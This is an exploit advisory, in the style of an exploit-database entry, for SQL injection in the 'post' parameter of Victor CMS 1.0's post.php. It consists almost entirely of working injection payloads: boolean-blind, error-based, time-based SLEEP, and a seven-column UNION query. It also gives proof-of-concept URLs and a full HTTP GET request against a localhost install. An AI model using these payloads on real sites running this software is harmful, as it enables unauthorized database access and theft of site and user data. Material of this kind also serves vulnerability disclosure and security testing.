Victor CMS 1.0 SQL Injection

`# Exploit Title: Victor CMS 1.0 - 'post' SQL Injection  
# Google Dork: N/A  
# Date: 2020-05-09  
# Exploit Author: BKpatron  
# Vendor Homepage: https://github.com/VictorAlagwu/CMSsite  
# Software Link: https://github.com/VictorAlagwu/CMSsite/archive/master.zip  
# Version: v1.0  
# Tested on: Win 10  
# CVE: N/A  
# my website: bkpatron.com  
  
# Discription:  
# The Victor CMS v1.0 application is vulnerable to SQL injection via the 'post' parameter on the post.php page.  
# vulnerable file : post.php  
http://localhost/CMSsite-master/post.php?post=1  
  
  
Parameter: post (GET)  
Type: boolean-based blind  
Title: AND boolean-based blind - WHERE or HAVING clause  
Payload: post=1 AND 2333=2333  
  
Type: error-based  
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)  
Payload: post=1 AND (SELECT 4641 FROM(SELECT COUNT(*),CONCAT(0x7178787871,(SELECT (ELT(4641=4641,1))),0x717a627171,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)  
  
Type: time-based blind  
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)  
Payload: post=1 AND (SELECT 7147 FROM (SELECT(SLEEP(5)))vltp)  
  
Type: UNION query  
Title: Generic UNION query (NULL) - 7 columns  
Payload: post=1 UNION ALL SELECT NULL,NULL,NULL,NULL,CONCAT(0x7178787871,0x54487357657079447543667943786c4f7a634a654a707448516e6f6e6241674f4c4a50477164646c,0x717a627171),NULL,NULL-- PTYU  
  
[INFO] the back-end DBMS is MySQL  
web application technology: PHP, Apache 2.4.39, PHP 7.2.18  
back-end DBMS: MySQL >= 5.0  
# Proof of Concept:  
http://localhost/CMSsite-master/post.php?post=sqli  
  
http://localhost/CMSsite-master/post.php?post=1%20UNION%20ALL%20SELECT%20NULL,NULL,NULL,NULL,CONCAT(0x7178787871,0x54487357657079447543667943786c4f7a634a654a707448516e6f6e6241674f4c4a50477164646c,0x717a627171),NULL,NULL--%20PTYU  
  
GET /CMSsite-master/post.php?post=1%20UNION%20ALL%20SELECT%20NULL,NULL,NULL,NULL,CONCAT(0x7178787871,0x54487357657079447543667943786c4f7a634a654a707448516e6f6e6241674f4c4a50477164646c,0x717a627171),NULL,NULL--%20PTYU HTTP/1.1  
Host: localhost  
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Cookie: PHPSESSID=gd27m8o57gcb23t7se4d4tdv1g  
Connection: keep-alive  
Upgrade-Insecure-Requests: 1  
post=1%20UNION%20ALL%20SELECT%20NULL,NULL,NULL,NULL,CONCAT(0x7178787871,0x54487357657079447543667943786c4f7a634a654a707448516e6f6e6241674f4c4a50477164646c,0x717a627171),NULL,NULL--%20PTYU  
`